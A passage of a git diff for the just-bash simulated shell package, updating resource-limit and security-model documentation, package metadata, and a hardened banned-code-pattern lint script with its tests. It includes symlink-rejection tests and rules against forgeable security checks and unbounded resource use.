recursion depth - maxCommandCount: 10000, // Max total commands executed - maxLoopIterations: 10000, // Max iterations per loop - maxAwkIterations: 10000, // Max iterations in awk programs - maxSedIterations: 10000, // Max iterations in sed scripts + maxCommandCount: 20000, // Shared across nested execution + maxSourceBytes: 8 * 1024 * 1024, // Shell source before parsing + maxFileSystemBytes: 256 * 1024 * 1024, // Retained default-FS data + maxOutputSize: 32 * 1024 * 1024, // Aggregate stdout + stderr bytes + maxArchiveBytes: 256 * 1024 * 1024, // Expanded archive bytes + maxDatabaseBytes: 128 * 1024 * 1024, // SQLite image bytes + maxExecutionTimeMs: 30_000, // Whole execution wall-clock deadline + maxExtensionCleanupTimeMs: 25, // Cancellation acknowledgement grace }, }); ``` -All limits have defaults. Error messages tell you which limit was hit. Increase as needed for your workload. +All resources remain bounded by default in both profiles. Explicit values +override the selected profile; non-negative safe integers and the legacy +`Infinity` spelling are accepted. Infinite deadlines omit the corresponding +platform timer rather than overflowing it. Invalid values are rejected when +`Bash` is constructed. Error messages identify the resource that was hit. ## Security Model +The Node.js package requires Node `>=20.18.1`. + - The shell only has access to the provided filesystem. - All execution happens without VM isolation. This does introduce additional risk. The code base was designed to be robust against prototype-pollution attacks and other break outs to the host JS engine and filesystem. - There is no network access by default. When enabled, requests are checked against URL prefix allow-lists and HTTP-method allow-lists. - Python and JavaScript execution are off by default as they represent additional security surface. - Execution is protected against infinite loops and deep recursion with configurable limits. +- Host-realm defense-in-depth uses the strongest scoped controls available on + each supported Node runtime. Where `node:module.registerHooks()` is present, + builtin ESM imports can also be denied only for the untrusted async context; + older runtimes retain best-effort scoped protection without failing existing + applications. It never installs a process-global deny-all loader. Query the + resolved capabilities with `DefenseInDepthBox.getInstance().getStatus()`. + Audit mode reports `level: "none"` because it records violations without + enforcing them. +- Scoped defense uses reversible proxies for `Reflect`, `JSON`, and `Math` and + restores their host descriptors on deactivation. This is reported as + `intrinsicProtection: "scoped-best-effort"`: same-realm JavaScript that + cached an intrinsic or a mutation function before activation cannot be fully + revoked (including the direct `delete` operator). The separately named + `processLifetimeIntrinsicHardening: true` option permanently freezes those + objects and locks selected well-known Symbol descriptors; use it only in a + disposable or process-lifetime realm. Use an isolated worker/process when + complete protection and reversible host state are both required. +- Node worker `resourceLimits` do not reliably cap the WebAssembly linear memory used by CPython or sql.js. Queue, deadline, file, database, bridge, and payload limits reduce exposure, but strong memory containment for these opt-in runtimes requires process/container isolation or a WASM build with a lower hard maximum. - Use [Vercel Sandbox](https://vercel.com/docs/vercel-sandbox) if you need a full VM with arbitrary binary execution. ## Browser Support diff --git a/packages/just-bash/package.json b/packages/just-bash/package.json index ab9ff9b3..d66baf18 100644 --- a/packages/just-bash/package.json +++ b/packages/just-bash/package.json @@ -1,6 +1,6 @@ { "name": "just-bash", - "version": "3.1.0", + "version": "3.2.0", "description": "A simulated bash environment with virtual filesystem", "repository": { "type": "git", @@ -11,6 +11,9 @@ "url": "https://github.com/vercel-labs/just-bash/issues" }, "type": "module", + "engines": { + "node": ">=20.18.1" + }, "main": "dist/bundle/index.js", "types": "dist/index.d.ts", "exports": { @@ -62,7 +65,7 @@ "build:worker": "esbuild src/commands/python3/worker.ts --bundle --platform=node --format=esm --outfile=src/commands/python3/worker.js --external:../../../vendor/cpython-emscripten/* && cp src/commands/python3/worker.js dist/commands/python3/worker.js && mkdir -p dist/bin/chunks && cp src/commands/python3/worker.js dist/bin/chunks/worker.js && mkdir -p dist/bundle/chunks && cp src/commands/python3/worker.js dist/bundle/chunks/worker.js && esbuild src/commands/js-exec/js-exec-worker.ts --bundle --platform=node --format=esm --outfile=src/commands/js-exec/js-exec-worker.js --external:quickjs-emscripten && cp src/commands/js-exec/js-exec-worker.js dist/commands/js-exec/js-exec-worker.js && cp src/commands/js-exec/js-exec-worker.js dist/bin/chunks/js-exec-worker.js && cp src/commands/js-exec/js-exec-worker.js dist/bundle/chunks/js-exec-worker.js && esbuild src/commands/sqlite3/worker.ts --bundle --platform=node --format=esm --outfile=src/commands/sqlite3/worker.js --external:sql.js && mkdir -p dist/commands/sqlite3 && cp src/commands/sqlite3/worker.js dist/commands/sqlite3/worker.js && cp src/commands/sqlite3/worker.js dist/bin/chunks/sqlite3-worker.js && cp src/commands/sqlite3/worker.js dist/bundle/chunks/sqlite3-worker.js", "build:lib": "esbuild dist/index.js --bundle --splitting --platform=node --format=esm --minify --outdir=dist/bundle --chunk-names=chunks/[name]-[hash] --banner:js='import{createRequire} from\"node:module\";const require=createRequire(import.meta.url);' --external:diff --external:minimatch --external:sprintf-js --external:turndown --external:sql.js --external:quickjs-emscripten --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip", "build:lib:cjs": "esbuild dist/index.js --bundle --platform=node --format=cjs --minify --outfile=dist/bundle/index.cjs --external:diff --external:minimatch --external:sprintf-js --external:turndown --external:sql.js --external:quickjs-emscripten --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip", - "build:browser": "esbuild dist/browser.js --bundle --platform=browser --format=esm --minify --outfile=dist/bundle/browser.js --external:diff --external:minimatch --external:sprintf-js --external:turndown --external:node:zlib --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip --define:__BROWSER__=true --alias:node:dns=./src/shims/browser-unsupported.js", + "build:browser": "esbuild dist/browser.js --bundle --platform=browser --format=esm --minify --outfile=dist/bundle/browser.js --external:diff --external:minimatch --external:sprintf-js --external:turndown --external:undici --external:node:zlib --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip --define:__BROWSER__=true --alias:node:async_hooks=./src/shims/browser-unsupported.js --alias:node:dns=./src/shims/browser-unsupported.js --alias:node:module=./src/shims/browser-unsupported.js", "build:cli": "esbuild dist/cli/just-bash.js --bundle --splitting --platform=node --format=esm --minify --outdir=dist/bin --entry-names=[name] --chunk-names=chunks/[name]-[hash] --banner:js='#!/usr/bin/env node\nimport{createRequire} from\"node:module\";const require=createRequire(import.meta.url);' --external:sql.js --external:quickjs-emscripten --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip", "build:shell": "esbuild dist/cli/shell.js --bundle --splitting --platform=node --format=esm --minify --outdir=dist/bin/shell --entry-names=[name] --chunk-names=chunks/[name]-[hash] --banner:js='#!/usr/bin/env node\nimport{createRequire} from\"node:module\";const require=createRequire(import.meta.url);' --external:sql.js --external:quickjs-emscripten --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip", "prepublishOnly": "pnpm test:dist", @@ -84,8 +87,8 @@ "test:coverage:unit": "vitest run --config vitest.unit.config.ts --coverage", "test:fuzz": "vitest run src/security/fuzzing/", "test:fuzz:long": "FUZZ_RUNS=10000 vitest run src/security/fuzzing/", - "shell": "npx tsx src/cli/shell.ts", - "dev:exec": "npx tsx src/cli/exec.ts" + "shell": "tsx src/cli/shell.ts", + "dev:exec": "tsx src/cli/exec.ts" }, "keywords": [], "author": "Malte and Claude", @@ -101,11 +104,11 @@ "esbuild": "^0.27.2", "fast-check": "^3.23.2", "knip": "^5.41.1", + "tsx": "^4.21.0", "typescript": "^5.9.3", "vitest": "^4.0.16" }, "dependencies": { - "seek-bzip": "^2.0.0", "diff": "^8.0.2", "fast-xml-parser": "^5.7.3", "file-type": "^21.2.0", @@ -115,10 +118,12 @@ "papaparse": "^5.5.3", "quickjs-emscripten": "^0.32.0", "re2js": "^1.2.1", + "seek-bzip": "^2.0.0", "smol-toml": "^1.6.0", "sprintf-js": "^1.1.3", "sql.js": "^1.13.0", "turndown": "^7.2.2", + "undici": "^7.25.0", "yaml": "^2.8.2" }, "optionalDependencies": { diff --git a/packages/just-bash/scripts/check-banned-patterns.js b/packages/just-bash/scripts/check-banned-patterns.js index 7a5df5b0..74280d37 100644 --- a/packages/just-bash/scripts/check-banned-patterns.js +++ b/packages/just-bash/scripts/check-banned-patterns.js @@ -13,8 +13,18 @@ * const COLORS: Record = { red: "#f00" }; */ -import { readdirSync, readFileSync, statSync } from "node:fs"; -import { join, relative } from "node:path"; +import { + closeSync, + constants, + fstatSync, + lstatSync, + openSync, + readdirSync, + readFileSync, + realpathSync, +} from "node:fs"; +import { isAbsolute, join, relative, resolve, sep } from "node:path"; +import { fileURLToPath } from "node:url"; /** * @typedef {Object} BannedPattern @@ -23,7 +33,9 @@ import { join, relative } from "node:path"; * @property {string} message - Explanation of why it's banned * @property {string[]} solutions - Suggested fixes * @property {RegExp[]} [autoSafe] - Patterns that make a line automatically safe + * @property {RegExp[]} [fileAutoSafe] - Patterns that make the containing file safe * @property {RegExp} [filePattern] - Optional file path regex to scope the rule + * @property {boolean} [scanSecurity] - Run this rule in audited security modules */ /** @type {BannedPattern[]} */ @@ -520,9 +532,224 @@ const BANNED_PATTERNS = [ ], autoSafe: [/wrapWasmCallback\s*\(/], }, + { + name: "Non-portable AbortSignal composition", + pattern: + /^(?!\s*(?:\/\/|\/?\*)).*\bAbortSignal\s*\.\s*(?:any|timeout)\s*\(/, + filePattern: /src\/(?!.*\.test\.ts$).*\.ts$/, + message: + "AbortSignal.any/timeout are not available in every supported runtime and\n" + + "make listener cleanup difficult to audit.", + solutions: [ + "Use combineAbortSignals(...) from abort-signals.ts", + "Use an injected timer plus a finally-safe cleanup callback", + ], + }, + { + name: "Stack text used as a security decision", + pattern: + /\b(?:stack|errorStack)\s*(?:\?\.)?\.\s*(?:includes|match|indexOf)\s*\(/, + filePattern: /src\/security\/(?!.*\.test\.ts$).*\.ts$/, + scanSecurity: true, + message: + "Error stacks are forgeable, runtime-dependent diagnostics and cannot be\n" + + "used to authorize module loading or trusted operations.", + solutions: [ + "Use an unforgeable lexical or AsyncLocalStorage capability", + "Complete trusted bootstrap before guest execution begins", + ], + }, + { + name: "Forgeable diagnostic used as a security decision", + pattern: + /\b(?:message|sourceURL|fileName|filename|functionName|constructor\s*\.\s*name)\b[^\n]*(?:\.\s*(?:includes|match|indexOf|startsWith|endsWith)\s*\(|={2,3}|!={1,2})/, + filePattern: /src\/security\/(?!fuzzing\/)(?!.*\.test\.ts$).*\.ts$/, + scanSecurity: true, + message: + "Error text, source URLs, filenames, and function names are forgeable diagnostics.\n" + + "They must not grant security capabilities or authorize trusted operations.", + solutions: [ + "Use a private lexical capability or exact object identity", + "Keep diagnostics for audit output only, never authorization", + ], + }, + { + name: "Optional command limit with literal fallback", + pattern: /\bctx\.limits\?\.\w+\s*\?\?\s*(?:\d|Number\.)/, + filePattern: /src\/(?:commands|interpreter)\/.*\.ts$/, + message: + "CommandContext.limits is fully resolved. Optional access plus a local literal\n" + + "silently forks defaults from the central limit schema.", + solutions: [ + "Read ctx.limits. directly", + "Add a named resource field to the central limit schema when needed", + ], + }, + { + name: "Raw fetch in secured network path", + pattern: /(? safePat.test(content))) { + return { safe: true, usedIgnoreComment: null }; + } + } + // Check for @banned-pattern-ignore comment on current line or up to 2 lines before // (to allow for other ignore comments like biome-ignore between) for (let offset = 0; offset <= 2; offset++) { @@ -658,12 +898,33 @@ function scanFile(filePath) { return; } - const content = readFileSync(filePath, "utf-8"); + let fd; + let content; + try { + const before = lstatSync(filePath, { bigint: true }); + if (before.isSymbolicLink()) { + throw new Error("symbolic link rejected"); + } + const noFollow = constants.O_NOFOLLOW ?? 0; + fd = openSync(filePath, constants.O_RDONLY | noFollow); + const opened = fstatSync(fd, { bigint: true }); + if (before.dev !== opened.dev || before.ino !== opened.ino) { + throw new Error("file identity changed before read"); + } + content = readFileSync(fd, "utf-8"); + } finally { + if (fd !== undefined) closeSync(fd); + } const lines = content.split("\n"); + const isSecurityModule = /src\/security\//.test(filePath); // First pass: collect all ignore comments in this file for (let i = 0; i < lines.length; i++) { if (IGNORE_COMMENT.test(lines[i])) { + // Security modules intentionally opt in to only their dedicated rules. + // Suppressions for the broad rules are therefore outside this scan's + // scope and must not be misreported as unused. + if (isSecurityModule) continue; ignoreComments.push({ file: filePath, line: i + 1, @@ -678,6 +939,9 @@ function scanFile(filePath) { const line = lines[i]; for (const pattern of BANNED_PATTERNS) { + if (isSecurityModule && pattern.scanSecurity !== true) { + continue; + } if (pattern.filePattern && !pattern.filePattern.test(filePath)) { continue; } @@ -725,19 +989,96 @@ function getContext(lines, lineIndex) { return contextLines.join("\n"); } +let rootDir = process.cwd(); +let canonicalRootDir = realpathSync(rootDir); +/** @type {{ path: string; reason: string }[]} */ +let scanErrors = []; +let visitedDirectories = new Set(); + +function safeRelativePath(path) { + const rel = relative(rootDir, path); + return rel === "" + ? "." + : rel === ".." || rel.startsWith(`..${sep}`) || isAbsolute(rel) + ? "" + : rel; +} + +function isWithinRoot(canonicalPath) { + const rel = relative(canonicalRootDir, canonicalPath); + return ( + rel === "" || + (rel !== ".." && !rel.startsWith(`..${sep}`) && !isAbsolute(rel)) + ); +} + +function recordScanError(path, reason) { + scanErrors.push({ path: safeRelativePath(path), reason }); +} + /** * Recursively scan directory * @param {string} dir */ function scanDirectory(dir) { - const entries = readdirSync(dir); + let dirStat; + let canonicalDir; + try { + dirStat = lstatSync(dir); + if (dirStat.isSymbolicLink()) { + recordScanError(dir, "symbolic link directory rejected"); + return; + } + canonicalDir = realpathSync(dir); + } catch { + recordScanError(dir, "directory metadata could not be read"); + return; + } + + if (!isWithinRoot(canonicalDir)) { + recordScanError(dir, "directory resolves outside scan root"); + return; + } + + // Canonical paths avoid truncated or zero inode collisions on platforms + // where number-valued fs identities are not reliable. + const identity = canonicalDir; + if (visitedDirectories.has(identity)) { + return; + } + visitedDirectories.add(identity); + + let entries; + try { + entries = readdirSync(dir); + } catch { + recordScanError(dir, "directory contents could not be read"); + return; + } for (const entry of entries) { const fullPath = join(dir, entry); if (SKIP_PATH_PATTERNS.some((pattern) => pattern.test(fullPath))) { continue; } - const stat = statSync(fullPath); + let stat; + let canonicalPath; + try { + stat = lstatSync(fullPath); + if (stat.isSymbolicLink()) { + recordScanError(fullPath, "symbolic link rejected"); + continue; + } + canonicalPath = realpathSync(fullPath); + } catch { + recordScanError(fullPath, "entry metadata could not be read"); + continue; + } + + if (!isWithinRoot(canonicalPath)) { + recordScanError(fullPath, "entry resolves outside scan root"); + continue; + } if (stat.isDirectory()) { // Skip generated/third-party directories @@ -750,98 +1091,139 @@ function scanDirectory(dir) { entry.endsWith(".mjs") || entry.endsWith(".cjs") ) { - scanFile(fullPath); + try { + scanFile(fullPath); + } catch { + recordScanError(fullPath, "file contents could not be read"); + } } } } -// Main -const rootDir = process.cwd(); +/** + * Run one isolated scan. State is reset per call so embedders and tests cannot + * inherit directory identities, findings, or ignore usage from a prior root. + * + * @param {string} [scanRoot] + * @param {{ report?: boolean }} [options] + */ +export function runScanner(scanRoot = process.cwd(), options = {}) { + rootDir = resolve(scanRoot); + canonicalRootDir = realpathSync(rootDir); + violations = []; + ignoreComments = []; + scanErrors = []; + visitedDirectories = new Set(); -for (const dir of SCAN_DIRS) { - const fullDir = join(rootDir, dir); - try { - scanDirectory(fullDir); - } catch (err) { - console.error(`Error scanning ${dir}: ${err.message}`); + for (const dir of SCAN_DIRS) { + scanDirectory(join(rootDir, dir)); } -} - -// Check for unused ignore comments -const unusedIgnores = ignoreComments.filter((c) => !c.used); -let hasErrors = false; + const unusedIgnores = ignoreComments.filter((c) => !c.used); + let hasErrors = scanErrors.length > 0; + const report = options.report !== false; -if (violations.length > 0) { - hasErrors = true; - // Group violations by pattern - /** @type {Map} */ - const byPattern = new Map(); - for (const v of violations) { - const key = v.pattern.name; - if (!byPattern.has(key)) { - byPattern.set(key, []); + if (report && scanErrors.length > 0) { + console.error("\n\x1b[31m✖ Incomplete security scan\x1b[0m\n"); + for (const error of scanErrors) { + console.error(`${error.path}: ${error.reason}`); } - byPattern.get(key).push(v); + console.error( + `\n\x1b[31m✖ ${scanErrors.length} scan error(s); results are not complete\x1b[0m\n`, + ); + } + + if (violations.length > 0) { + hasErrors = true; } + if (report && violations.length > 0) { + // Group violations by pattern + /** @type {Map} */ + const byPattern = new Map(); + for (const v of violations) { + const key = v.pattern.name; + if (!byPattern.has(key)) { + byPattern.set(key, []); + } + byPattern.get(key).push(v); + } - console.error("\n\x1b[31m✖ Banned Code Patterns Detected\x1b[0m\n"); + console.error("\n\x1b[31m✖ Banned Code Patterns Detected\x1b[0m\n"); - for (const [patternName, patternViolations] of byPattern) { - const pattern = patternViolations[0].pattern; + for (const [patternName, patternViolations] of byPattern) { + const pattern = patternViolations[0].pattern; + + console.error(`\x1b[33m━━━ ${patternName} ━━━\x1b[0m\n`); + console.error(pattern.message); + console.error(""); + console.error("\x1b[33mSolutions:\x1b[0m"); + for (const solution of pattern.solutions) { + console.error(` • ${solution}`); + } + console.error(""); + console.error( + "\x1b[33mTo opt-out, add a comment explaining why it's safe:\x1b[0m", + ); + console.error( + " // @banned-pattern-ignore: static keys only, never accessed with user input\n", + ); + console.error( + `\x1b[31mViolations (${patternViolations.length}):\x1b[0m\n`, + ); - console.error(`\x1b[33m━━━ ${patternName} ━━━\x1b[0m\n`); - console.error(pattern.message); - console.error(""); - console.error("\x1b[33mSolutions:\x1b[0m"); - for (const solution of pattern.solutions) { - console.error(` • ${solution}`); + for (const v of patternViolations) { + const relPath = relative(rootDir, v.file); + console.error(`\x1b[36m${relPath}:${v.line}\x1b[0m`); + console.error(v.context); + console.error(""); + } } - console.error(""); + console.error( - "\x1b[33mTo opt-out, add a comment explaining why it's safe:\x1b[0m", + `\x1b[31m✖ ${violations.length} total violation(s) found\x1b[0m\n`, ); + } + + if (unusedIgnores.length > 0) { + hasErrors = true; + } + if (report && unusedIgnores.length > 0) { console.error( - " // @banned-pattern-ignore: static keys only, never accessed with user input\n", + "\n\x1b[31m✖ Unused @banned-pattern-ignore Comments\x1b[0m\n", + ); + console.error( + "The following ignore comments don't suppress any banned pattern.\n" + + "Remove them or ensure the pattern they're meant to suppress is correct.\n", ); - console.error(`\x1b[31mViolations (${patternViolations.length}):\x1b[0m\n`); - for (const v of patternViolations) { - const relPath = relative(rootDir, v.file); - console.error(`\x1b[36m${relPath}:${v.line}\x1b[0m`); - console.error(v.context); + for (const ignore of unusedIgnores) { + const relPath = relative(rootDir, ignore.file); + console.error(`\x1b[36m${relPath}:${ignore.line}\x1b[0m`); + console.error(` ${ignore.content}`); console.error(""); } - } - - console.error( - `\x1b[31m✖ ${violations.length} total violation(s) found\x1b[0m\n`, - ); -} -if (unusedIgnores.length > 0) { - hasErrors = true; - console.error("\n\x1b[31m✖ Unused @banned-pattern-ignore Comments\x1b[0m\n"); - console.error( - "The following ignore comments don't suppress any banned pattern.\n" + - "Remove them or ensure the pattern they're meant to suppress is correct.\n", - ); + console.error( + `\x1b[31m✖ ${unusedIgnores.length} unused ignore comment(s) found\x1b[0m\n`, + ); + } - for (const ignore of unusedIgnores) { - const relPath = relative(rootDir, ignore.file); - console.error(`\x1b[36m${relPath}:${ignore.line}\x1b[0m`); - console.error(` ${ignore.content}`); - console.error(""); + if (report && !hasErrors) { + console.log("\x1b[32m✓ No banned patterns detected\x1b[0m"); } - console.error( - `\x1b[31m✖ ${unusedIgnores.length} unused ignore comment(s) found\x1b[0m\n`, - ); + return { + hasErrors, + violations: [...violations], + scanErrors: [...scanErrors], + unusedIgnores: [...unusedIgnores], + }; } -if (hasErrors) { - process.exit(1); -} else { - console.log("\x1b[32m✓ No banned patterns detected\x1b[0m"); - process.exit(0); +const isMain = + process.argv[1] !== undefined && + resolve(process.argv[1]) === fileURLToPath(import.meta.url); +if (isMain) { + const result = runScanner(); + process.exitCode = result.hasErrors ? 1 : 0; } diff --git a/packages/just-bash/scripts/check-banned-patterns.test.ts b/packages/just-bash/scripts/check-banned-patterns.test.ts new file mode 100644 index 00000000..cf73f184 --- /dev/null +++ b/packages/just-bash/scripts/check-banned-patterns.test.ts @@ -0,0 +1,297 @@ +import { spawnSync } from "node:child_process"; +import { + mkdirSync, + mkdtempSync, + rmSync, + symlinkSync, + writeFileSync, +} from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { afterEach, describe, expect, it } from "vitest"; +import { runScanner } from "./check-banned-patterns.js"; + +const scriptPath = join( + dirname(fileURLToPath(import.meta.url)), + "check-banned-patterns.js", +); +const cleanup: string[] = []; + +function tempDirectory(prefix: string): string { + const dir = mkdtempSync(join(tmpdir(), prefix)); + cleanup.push(dir); + return dir; +} + +function runScannerCli(cwd: string) { + return spawnSync(process.execPath, [scriptPath], { + cwd, + encoding: "utf8", + }); +} + +afterEach(() => { + for (const dir of cleanup.splice(0)) { + rmSync(dir, { recursive: true, force: true }); + } +}); + +describe("check-banned-patterns filesystem boundary", () => { + it("rejects an external file symlink without reading its contents", () => { + const root = tempDirectory("just-bash-lint-root-"); + const outside = tempDirectory("just-bash-lint-outside-"); + const secret = "EXTERNAL_SECRET_CANARY"; + writeFileSync(join(outside, "secret.ts"), `${secret}\nconst bad = {};\n`); + symlinkSync(join(outside, "secret.ts"), join(root, "linked.ts")); + + const result = runScannerCli(root); + + expect(result.status).toBe(1); + expect(result.stdout).toBe(""); + expect(result.stderr).toContain("linked.ts: symbolic link rejected"); + expect(result.stderr).toContain("Incomplete security scan"); + expect(result.stderr).not.toContain(secret); + }); + + it("continues scanning after an entry error and reports later violations", () => { + const root = tempDirectory("just-bash-lint-errors-"); + mkdirSync(join(root, "src")); + symlinkSync(join(root, "missing.ts"), join(root, "src", "a-broken.ts")); + writeFileSync(join(root, "src", "z-bad.ts"), "const unsafe = {};\n"); + + const result = runScannerCli(root); + + expect(result.status).toBe(1); + expect(result.stderr).toContain("src/a-broken.ts: symbolic link rejected"); + expect(result.stderr).toContain("Banned Code Patterns Detected"); + expect(result.stderr).toContain("src/z-bad.ts:1"); + expect(result.stderr).not.toContain("No banned patterns detected"); + }); + + it("succeeds only after a complete clean scan", () => { + const root = tempDirectory("just-bash-lint-clean-"); + mkdirSync(join(root, "src")); + writeFileSync(join(root, "src", "safe.ts"), "const safe = new Map();\n"); + + const result = runScannerCli(root); + + expect(result.status).toBe(0); + expect(result.stderr).toBe(""); + expect(result.stdout).toContain("No banned patterns detected"); + }); + + it("accepts a legitimate path segment beginning with two dots", () => { + const root = tempDirectory("just-bash-lint-dot-name-"); + writeFileSync(join(root, "..safe.ts"), "const safe = new Map();\n"); + + const result = runScanner(root, { report: false }); + + expect(result.hasErrors).toBe(false); + expect(result.scanErrors).toEqual([]); + }); + + it("does not scan generated finding and planning inputs", () => { + const root = tempDirectory("just-bash-lint-inputs-"); + mkdirSync(join(root, ".deepsec")); + mkdirSync(join(root, "todo")); + writeFileSync(join(root, ".deepsec", "finding.ts"), "const bad = {};\n"); + writeFileSync(join(root, "todo", "plan.ts"), "const bad = {};\n"); + writeFileSync(join(root, "safe.ts"), "const safe = new Map();\n"); + + expect(runScanner(root, { report: false }).hasErrors).toBe(false); + }); + + it("resets findings and visited-directory state for every invocation", () => { + const badRoot = tempDirectory("just-bash-lint-reset-bad-"); + const goodRoot = tempDirectory("just-bash-lint-reset-good-"); + writeFileSync(join(badRoot, "bad.ts"), "const unsafe = {};\n"); + writeFileSync(join(goodRoot, "good.ts"), "const safe = new Map();\n"); + + const first = runScanner(badRoot, { report: false }); + const second = runScanner(goodRoot, { report: false }); + + expect(first.violations).toHaveLength(1); + expect(second.hasErrors).toBe(false); + expect(second.violations).toEqual([]); + }); + + it.each([ + [ + "non-portable abort composition", + "src/runtime.ts", + "const signal = AbortSignal.any(signals);\n", + "Non-portable AbortSignal composition", + ], + [ + "stack-based authorization", + "src/security/gate.ts", + 'const trusted = errorStack.includes("node:internal/modules/cjs/loader");\n', + "Stack text used as a security decision", + ], + [ + "fresh nested execution engines", + "src/interpreter/nested.ts", + "const interpreter = new Interpreter(options, state);\n", + "Execution engine constructed outside Bash", + ], + ])("rejects %s", (_name, relativePath, source, violationName) => { + const root = tempDirectory("just-bash-lint-rule-"); + const fullPath = join(root, relativePath); + mkdirSync(dirname(fullPath), { recursive: true }); + writeFileSync(fullPath, source); + + const result = runScannerCli(root); + + expect(result.status).toBe(1); + expect(result.stderr).toContain(violationName); + }); + + it.each([ + [ + "forgeable security diagnostics", + "src/security/gate.ts", + 'const trusted = error.message.includes("trusted loader");\n', + "Forgeable diagnostic used as a security decision", + ], + [ + "optional local limit defaults", + "src/commands/example.ts", + "const max = ctx.limits?.maxOutputSize ?? 1024;\n", + "Optional command limit with literal fallback", + ], + [ + "raw secured fetch", + "src/network/fetch.ts", + "const response = fetch(currentUrl, options);\n", + "Raw fetch in secured network path", + ], + [ + "whole-buffer decompression", + "src/commands/archive.ts", + "const output = gunzipSync(input);\n", + "Whole-buffer decompression outside codec boundary", + ], + [ + "host filesystem imports in commands", + "src/commands/unsafe.ts", + 'import { readFile } from "node:fs/promises";\n', + "Restricted Node filesystem import", + ], + [ + "raw path-prefix containment", + "src/fs/containment.ts", + 'const inside = !relative.startsWith("..");\n', + "Unsafe path-prefix containment", + ], + [ + "dynamic string amplification", + "src/commands/example.ts", + 'const output = "x".repeat(width);\n', + "Unchecked dynamic string or array amplification", + ], + [ + "array-join amplification", + "src/commands/example.ts", + 'const output = Array(count).fill("x").join("");\n', + "Unchecked array construction followed by join", + ], + [ + "allocating byte measurement", + "src/commands/example.ts", + "const bytes = new TextEncoder().encode(input).length;\n", + "Allocating UTF-8 byte-length measurement", + ], + [ + "unbounded interpreter output", + "src/interpreter/interpreter.ts", + "stdout += result.stdout;\n", + "Unbounded interpreter output accumulation", + ], + [ + "fatal catch swallowing", + "src/commands/example.ts", + "try { run(); } catch (error) { return fallback; }\n", + "Fatal execution error swallowed by catch", + ], + [ + "raw filesystem error returns", + "src/fs/adapter.ts", + "return { error: error.message };\n", + "Raw filesystem error returned from adapter", + ], + [ + "workers without request controller", + "src/commands/example.ts", + "const worker = new Worker(path);\n", + "Worker created without shared request controller", + ], + [ + "command-local maximums", + "src/commands/example.ts", + "const MAX_ROWS = 1234;\n", + "Undocumented command-local MAX constant", + ], + ])("rejects %s", (_name, relativePath, source, violationName) => { + const root = tempDirectory("just-bash-lint-policy-"); + const fullPath = join(root, relativePath); + mkdirSync(dirname(fullPath), { recursive: true }); + writeFileSync(fullPath, source); + + const result = runScanner(root, { report: false }); + + expect(result.violations.map((item) => item.pattern.name)).toContain( + violationName, + ); + }); + + it("accepts reviewed gates and shared worker controller adoption", () => { + const root = tempDirectory("just-bash-lint-approved-"); + mkdirSync(join(root, "src", "fs"), { recursive: true }); + mkdirSync(join(root, "src", "commands"), { recursive: true }); + writeFileSync( + join(root, "src", "fs", "gate.ts"), + 'import { openSync } from "node:fs";\nconst safe = new Map();\n', + ); + writeFileSync( + join(root, "src", "commands", "worker.ts"), + 'import { WorkerRequestController } from "../worker-request-controller.js";\n// @banned-pattern-ignore: constructor is owned by the request controller created below\nconst worker = new Worker(path);\nconst controller = new WorkerRequestController(worker);\n', + ); + + expect(runScanner(root, { report: false }).hasErrors).toBe(false); + }); + + it("does not let one controller token exempt a second unmanaged Worker", () => { + const root = tempDirectory("just-bash-lint-worker-scope-"); + const file = join(root, "src", "commands", "worker.ts"); + mkdirSync(dirname(file), { recursive: true }); + writeFileSync( + file, + 'import { WorkerRequestController } from "../worker-request-controller.js";\n// @banned-pattern-ignore: first constructor is owned by its request controller\nconst first = new Worker(firstPath);\nconst controller = new WorkerRequestController(first);\nconst unmanaged = new Worker(secondPath);\n', + ); + + const result = runScanner(root, { report: false }); + const workerFindings = result.violations.filter( + (item) => + item.pattern.name === + "Worker created without shared request controller", + ); + expect(workerFindings).toHaveLength(1); + expect(workerFindings[0].content).toContain("secondPath"); + }); + + it("rejects an empty banned-pattern suppression reason", () => { + const root = tempDirectory("just-bash-lint-empty-ignore-"); + const file = join(root, "src", "commands", "worker.ts"); + mkdirSync(dirname(file), { recursive: true }); + writeFileSync( + file, + "// @banned-pattern-ignore:\nconst worker = new Worker(path);\n", + ); + + const result = runScanner(root, { report: false }); + expect(result.violations.map((item) => item.pattern.name)).toContain( + "Worker created without shared request controller", + ); + }); +}); diff --git a/packages/just-bash/src/Bash.commands.test.ts b/packages/just-bash/src/Bash.commands.test.ts index 60c9cd1e..bf8bae41 100644 --- a/packages/just-bash/src/Bash.commands.test.ts +++ b/packages/just-bash/src/Bash.commands.test.ts @@ -83,14 +83,15 @@ describe("Bash commands filtering", () => { expect((await env.exec("cp /test.txt /test2.txt")).exitCode).toBe(127); }); - it("custom commands can use Node.js APIs with defense-in-depth enabled", async () => { + it("explicitly trusted custom commands can use Node.js APIs", async () => { const env = new Bash({ customCommands: [ { name: "myfetch", + trusted: true, execute: async (_args, _ctx) => { - // Custom command uses setTimeout and fetch — both are blocked - // globals, but should work because commands are trusted. + // Trusted host extensions deliberately run outside the restricted + // command context. await new Promise((r) => setTimeout(r, 1)); return { stdout: "custom-ok\n", stderr: "", exitCode: 0 }; }, diff --git a/packages/just-bash/src/Bash.exec-options.test.ts b/packages/just-bash/src/Bash.exec-options.test.ts index 549d70ed..6e539979 100644 --- a/packages/just-bash/src/Bash.exec-options.test.ts +++ b/packages/just-bash/src/Bash.exec-options.test.ts @@ -50,6 +50,19 @@ async function waitFor( } describe("exec options", () => { + it("returns exit 124 when the supplied signal is already aborted", async () => { + const controller = new AbortController(); + controller.abort(); + + await expect( + new Bash().exec("echo unreachable", { signal: controller.signal }), + ).resolves.toMatchObject({ + stdout: "", + stderr: "bash: execution aborted\n", + exitCode: 124, + }); + }); + describe("per-exec env", () => { it("should use env vars for single execution", async () => { const env = new Bash(); @@ -193,6 +206,29 @@ describe("exec options", () => { const envResult = await env.exec("echo $MODE"); expect(envResult.stdout).toBe("dev\n"); }); + + it("should use OLDPWD from per-exec env for cd dash", async () => { + const env = new Bash({ cwd: "/" }); + await env.exec("mkdir -p /tmp/old /tmp/new"); + + const firstCd = await env.exec("cd /tmp/old", { + cwd: 